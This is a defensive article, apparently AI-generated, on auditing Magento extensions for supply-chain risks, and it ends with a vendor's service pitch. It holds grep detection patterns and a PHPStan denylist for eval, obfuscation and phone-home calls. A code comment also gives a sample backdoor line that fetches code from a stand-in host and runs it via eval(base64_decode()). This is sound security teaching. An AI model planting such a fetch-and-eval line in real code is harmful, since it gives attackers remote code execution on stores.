Auditing Magento Extensions for Security Risks
AI generated
OWASP
0x00
Security · Magento Extensions · Supply Chain · Code Audit
Auditing Magento Extensions for Security Risks
Spotting red flags before they become an incident

Third party extensions inherit the same privileges as the Magento core and become the single biggest supply chain risk in a store. This article shows how to spot eval and base64 encoded payloads, check a vendor's reputation, apply static analysis with PHPStan, and test new extensions in an isolated sandbox before they go live.

18 min read eval · base64 · phone-home · obfuscation PHPStan · PHP_CodeSniffer · sandboxing

1. Why third party extensions are a supply chain risk

A typical Magento store runs twenty to fifty extensions from a wide range of vendors, all inside the same PHP process as the Magento core. Every installed extension automatically inherits the same privileges as the core: full database access, access to customer data, payment information, and session handling. That is the core of the supply chain risk: the security of the entire store drops to the level of the least secure installed extension, regardless of how carefully your own code is maintained. Unlike an isolated microservice architecture, a classic Magento monolith has no technical boundary between your own code and third party code.

Code quality across Marketplace extensions varies enormously. Some vendors run professional development processes with reviews, tests, and versioning, others ship code written once and never maintained again. Publicly known Magecart-style attacks on Magento stores have repeatedly used exactly this route: not a vulnerability in the Magento core itself, but a compromised or maliciously crafted third party extension that reads payment data during checkout and sends it to an external server. A systematic security audit of every new and existing extension is therefore not optional polish, it is a mandatory part of running a production Magento store.

2. Red flags in extension code: eval, base64 and phone-home

Four code patterns show up disproportionately often in malicious or carelessly insecure extension code. First, dynamic code execution via eval(), assert() with a string argument, or the deprecated create_function(). These functions execute arbitrary PHP code from a string at runtime, something a legitimate extension almost never needs. Second, multi-stage obfuscation: payload strings are hidden with base64_decode(), gzinflate(), or str_rot13() and only decoded at runtime, often chained across several function calls to defeat simple text search.

Third, remote code fetching and phone-home behavior: a module downloads a file from an external URL on every page load or via cron and executes it, frequently disguised as a "license check" or "update check". Fourth, dynamic function calls via variable variables such as $$func() or call_user_func($_GET['f']), which deliberately evade classic static analysis and text search. None of these patterns is proof of malice by itself, legacy compatibility code occasionally uses eval() for template compiling. What matters is context: why exactly does this extension need this pattern, and can that be verified?


#!/usr/bin/env bash
# scan-extension.sh - static red-flag scan for a newly downloaded Magento extension
# Run this BEFORE composer require, against the extracted package directory
set -euo pipefail

TARGET_DIR="${1:-vendor/thirdparty/module-example}"
echo "Scanning ${TARGET_DIR} for common red-flag patterns..."

# Dynamic code execution primitives - legitimate extensions rarely need these
echo "--- eval / assert / create_function ---"
grep -rnE 'eval\s*\(|assert\s*\(\s*\$|create_function\s*\(' \
  --include="*.php" "$TARGET_DIR" || true

# Multi-stage obfuscation: payload strings decoded only at runtime
echo "--- base64 / gzip / rot13 obfuscation chains ---"
grep -rnE 'base64_decode\s*\(|gzinflate\s*\(|gzuncompress\s*\(|str_rot13\s*\(' \
  --include="*.php" "$TARGET_DIR" || true

# Outbound calls that could exfiltrate data or fetch a remote payload
echo "--- remote code fetch / phone-home ---"
grep -rnE 'curl_exec\s*\(|fsockopen\s*\(|file_get_contents\s*\(.{0,20}https?://' \
  --include="*.php" "$TARGET_DIR" || true

# Variable functions and variable variables - hard to trace statically
echo "--- dynamic / variable function calls ---"
grep -rnE '\$\$[a-zA-Z_]+\s*\(|call_user_func\s*\(\s*\$_' \
  --include="*.php" "$TARGET_DIR" || true

echo "Scan complete. Review every match manually before installing."

A scan like this belongs in every pre-installation review routine and should run automatically again on every composer update, because a module that looks clean today can be compromised through a later update. A single hit is not automatic grounds for rejection, but every hit deserves a manual explanation before the extension is approved.

3. Checking vendor reputation and update history

Before an extension even reaches code review, it is worth looking at the vendor itself. On the Magento Marketplace, the number of reviews, how recent they are, and above all whether the vendor responds to negative reviews and support tickets all matter. A module with five year old five star reviews and no update since is a warning sign, even if the average rating looks good. More important than the star rating itself is the update frequency: an actively maintained module reacts within a few weeks to new Magento minor releases and PHP version changes.

For open source extensions or ones mirrored on GitHub, the commit history provides additional signals: how many maintainers are active, how quickly are reported issues closed, are there security advisories via GitHub Security Advisories or the National Vulnerability Database (NVD)? Searching for the vendor and module name combined with "CVE", or checking cve.mitre.org directly, shows whether vulnerabilities have been reported in the past and how quickly the vendor patched them. A CVE alone does not disqualify an extension, a CVE without a timely patch does.


{
    "require": {
        "php": "~8.4.0",
        "thirdparty/module-example": "3.2.1"
    },
    "extra": {
        "audit-comment": "Pin third-party extensions to an exact, already-audited version. Avoid caret or tilde ranges so an update is never installed silently by composer update."
    }
}

Pinning composer versions also protects against an automatic update silently pulling in a compromised release of an otherwise trustworthy extension. composer.lock must therefore be committed to version control, so every deployment ships exactly the same, already reviewed code.

4. Static analysis: PHPStan and PHP_CodeSniffer security rules

Manual code reading does not scale to tens of thousands of lines of third party code. Static analysis automates the search for the patterns described in section 2. PHPStan at level 5 primarily finds type errors, but with the spaze/phpstan-disallowed-calls extension you can enforce a denylist that flags eval(), exec(), system(), create_function(), and similar functions as errors project-wide, including in vendor code, once you deliberately add vendor/ to the paths configuration instead of excluding it by default.

PHP_CodeSniffer with the Magento2 coding standard mostly checks style, but it can be extended with custom sniffs, for example one that flags base64_decode combined with eval in the same statement as a violation. The generic Squiz.PHP.Eval sniff is also worth adding, since it directly flags standard eval calls. Both tools belong in the CI pipeline, not just in a local editor, so every new or updated extension is automatically checked against the same rules before it reaches a deploy branch.


# phpstan.neon - security-focused config for auditing a vendor extension
# Run with: bin/analyse vendor/thirdparty/module-example --level=5
parameters:
    level: 5
    paths:
        - vendor/thirdparty/module-example
    excludePaths:
        - vendor/thirdparty/module-example/Test/*
    disallowedFunctionCalls:
        - function: 'eval()'
          message: 'eval() is not allowed in audited extensions.'
        - function: 'assert()'
          message: 'assert() with a string argument executes arbitrary code.'
        - function: 'create_function()'
          message: 'create_function() is deprecated and behaves like eval().'
        - function: 'exec()'
          message: 'Shell execution is not allowed in a Magento extension.'
includes:
    - vendor/spaze/phpstan-disallowed-calls/extension.neon
    - vendor/spaze/phpstan-disallowed-calls/disallowed-dangerous-calls.neon

5. Sandboxing: testing new extensions in isolated staging

No amount of static analysis replaces observing actual runtime behavior. A new extension should always be installed first in an isolated staging environment, separated from the production system and from real customer data. That environment should use synthetic test data, have no access to production payment gateway credentials, and log, or even actively restrict, outbound network traffic, for example via a Docker network policy or an explicit egress firewall rule.

During testing, it is worth capturing every outbound connection with tcpdump or a transparent proxy like mitmproxy while running through typical admin and storefront actions: creating a product, running through checkout, triggering cron jobs manually. Any connection to an unknown domain that is not part of the extension's documented feature set is grounds for investigation. Only after several days of unremarkable operation in the sandbox, including a full cron cycle, should the extension be approved for production.


#!/usr/bin/env bash
# staging-sandbox.sh - spin up an isolated Magento staging container to test a new extension
set -euo pipefail

CONTAINER_NAME="magento-extension-sandbox"
NETWORK_NAME="sandbox-net"

# Isolated network with no route to the production database or payment gateways
docker network create --internal "$NETWORK_NAME" 2>/dev/null || true

docker run -d \
  --name "$CONTAINER_NAME" \
  --network "$NETWORK_NAME" \
  -e MAGENTO_MODE=developer \
  -e PAYMENT_GATEWAY_CREDENTIALS=sandbox-only \
  -v "$(pwd)/staging-data:/var/www/html" \
  markoshust/magento-nginx:latest

# Capture all outbound traffic from the sandbox while testing admin and storefront flows
docker run --rm --net="container:${CONTAINER_NAME}" nicolaka/netshoot \
  tcpdump -i any -w /tmp/extension-sandbox.pcap &

echo "Sandbox running on an isolated network. Import synthetic test data only."
echo "Trigger every cron job manually once: bin/magento cron:run"
echo "Inspect /tmp/extension-sandbox.pcap for connections to unexpected hosts."

6. Code diffing on updates: what actually changed?

The first security check of an extension only covers half the job, because vendors can introduce new code with every update, even retroactively into a module that was previously clean. An update should therefore never be applied blindly via composer update without first reviewing the actual diff between the old and new version. If the vendor/ directory itself is under version control, or at least mirrored into a separate git tracking repository, git diff between the two composer versions produces a complete, searchable change list.

Diffs deserve special attention when they introduce new, seemingly unmotivated function calls like curl_exec, new external hostnames, or newly added, heavily minified code blocks, while the rest of the changelog describes only a small bugfix. A mismatch between the size of the documented changelog and the actual diff is one of the most reliable warning signs there is. Automated diff reports in the CI pipeline make this step reproducible instead of depending on individual developer discipline.


#!/usr/bin/env bash
# diff-extension-update.sh - review exactly what changed before accepting a vendor update
set -euo pipefail

MODULE_PATH="vendor/thirdparty/module-example"

# Compare the currently installed version against the new release before updating
composer show "thirdparty/module-example" --all | grep versions

git diff --no-index \
  ".composer-cache/thirdparty-module-example-3.2.0/${MODULE_PATH}" \
  ".composer-cache/thirdparty-module-example-3.2.1/${MODULE_PATH}" \
  > /tmp/extension-update.diff

grep -nE '^\+.*(curl_exec|base64_decode|eval\(|new_host\.example\.com)' \
  /tmp/extension-update.diff || echo "No obvious red flags in the diff."

# Example of what a suspicious diff hunk looks like:
# +    $license = @file_get_contents('http://update-check.example-cdn.net/lic.php');
# +    if ($license) { eval(base64_decode($license)); }
# A one-line "bugfix" changelog entry with a diff this size is a red flag by itself.

7. The limits of Magento Marketplace's technical review

The Magento Marketplace runs a technical review before an extension gets published: automated coding standard checks, a security scan against known unsafe functions, and a manual spot check. That filters out obviously bad code, but it does not guarantee complete security. The review examines the code as it exists at submission time, not later updates that are shipped outside the original review cycle through composer repositories or direct downloads.

Deliberately time-delayed or conditional malicious code, activated only after a specific date, a specific customer count, or after a certain number of licenses have been sold, largely evades a one-time automated review. Remote code fetching at runtime is also hard to catch during review if the fetched payload is still harmless at review time and only gets swapped out later. Marketplace approval is therefore a signal, not a security guarantee, and it does not replace your own audit process before installing an extension in a production store.

8. Incident response: what to do when you find a malicious extension

When a malicious or compromised extension is discovered in a production system, the order of response matters. First step: disable the affected module via bin/magento module:disable or put the store into maintenance mode to stop further data loss, without prematurely destroying evidence. Second step: rotate every potentially exposed credential, admin passwords, API keys, payment gateway credentials, and database access, because a malicious extension with core privileges could in principle have accessed all of these values.

Forensic review comes next: check the admin_user table for unknown, newly created admin accounts, inspect cron_schedule and cron_job for injected jobs, and search the web server access log for unusual request patterns during the relevant time window. Restoration should come from a demonstrably clean backup, not from simply deleting the extension, since backdoors are frequently planted elsewhere in the file system too. If payment data may have been affected, PCI DSS reporting obligations toward the acquirer, and potentially the card networks, apply regardless of company size.

9. Red flags compared: risk versus mitigation

The table below matches the most common red flags from real-world extension audits against the mitigation that actually addresses them. No single measure replaces the others, only the combination of static analysis, sandboxing, and vendor vetting produces a defensible security assessment.

Red flag Risk Mitigation
eval() / assert() in code Arbitrary code execution at runtime PHPStan disallowed-calls, CI gate
base64/gzinflate obfuscation Hidden, unreadable payload Grep-based CI gate, manual review
Unexplained outbound HTTP calls Data exfiltration, phone-home Sandbox with network monitoring
No public repository / history No way to trace changes over time Vendor reputation and CVE history check
Diff size does not match changelog Malicious code smuggled in later git diff review on every update

In practice, a single red flag rarely justifies outright rejection. An eval() call in an old, well documented template compiler is not the same as the same call in a three month old module with no public repository. The assessment remains a combination of automated signals and human judgment, one that gets sharper with every audit performed.

Mironsoft

Extension audits, sandbox setups, and CI security checks for Magento stores

Are your third party extensions security-vetted?

We audit existing and new Magento extensions, surface red flags in the code, and set up sandboxing and automated diff checks for your deployment process.

Code audit

Manual and automated checks for eval, obfuscation, and phone-home behavior

Sandbox setup

Isolated staging environment with network monitoring for new extensions

CI integration

Wiring PHPStan disallowed-calls and diff checks directly into the pipeline

10. Summary

Auditing Magento extensions for security risks addresses a structural problem: third party code runs with the same privileges as the core, so the security of the entire store drops to the level of its least secure installed extension. Red flags such as eval(), base64_decode combined with gzinflate, unexplained outbound HTTP calls, and dynamic function calls can be reliably automated with targeted grep scans and static analysis. Vendor reputation, Marketplace reviews, GitHub activity, and CVE history provide additional signals that go far beyond an extension's price or feature list.

The decisive lever is repeatability: a one-time code review at first install is not enough, because vendors can introduce new code with every update. An isolated sandbox with network monitoring, a diff check on every update, and PHPStan or PHP_CodeSniffer rules wired into the CI pipeline make the audit process reproducible and independent of any single developer's diligence on a given day. Magento Marketplace approval does not replace this process, it is an additional but incomplete signal.

Auditing Magento Extensions for Security Risks - The Essentials at a Glance

Spot red flags

Automatically scan for eval, base64_decode+gzinflate, remote code fetching, and dynamic function calls before installing any extension.

Check vendor reputation

Marketplace reviews, GitHub activity, and CVE history are better indicators than an extension's price or feature list.

Static analysis

Wire PHPStan with disallowed-calls and PHP_CodeSniffer security sniffs into the CI pipeline, including for vendor/ code.

Sandbox and diffing

Test new extensions in isolation, diff every update before deploying, and never mistake Marketplace approval for a security guarantee.

11. FAQ: Auditing Magento Extensions for Security Risks

1What is the biggest security risk with third party extensions?
Every extension runs with the same privileges as the Magento core and has full access to the database, customer data, and payment information. Store security drops to the level of the least secure extension.
2How do I detect eval() or base64_decode in extension code?
A grep scan over vendor/ for eval(, assert(, base64_decode( combined with gzinflate( catches most cases. Run it automated before installation and on every update.
3Is an extension from the Magento Marketplace automatically safe?
No. The review only examines the code at submission time, not later updates. Approval is a signal, not a full security guarantee.
4How do I check the trustworthiness of a vendor?
Marketplace reviews and recency, update frequency, GitHub commit history, and a search for reported CVEs against the vendor and module name.
5Which PHPStan rules help with a security review?
spaze/phpstan-disallowed-calls flags eval, exec, system, and create_function as errors project-wide, including in vendor/, when that path is explicitly analyzed.
6Why isn't a code review before installation enough?
Vendors can introduce new code with every update. Without a diff check on every update, a one-time review is only a snapshot in time.
7How do I safely test a new extension before production?
In an isolated staging environment with synthetic test data, no production credentials, and network capture via tcpdump or mitmproxy.
8What do I do about an already-production malicious extension?
Disable the module, rotate every credential, check admin_user and cron_schedule, restore from a clean backup. PCI DSS reporting obligations apply if payment data was affected.
9How should I diff extension code on an update?
Keep vendor/ under version control and run git diff between the old and new version. New hostnames and changelog mismatches are the warning signs.
10Which tools help automate obfuscation detection?
Grep-based CI gates, PHPStan disallowed-calls, PHP_CodeSniffer with Squiz.PHP.Eval, and sandbox network monitoring for runtime behavior that is invisible to static analysis.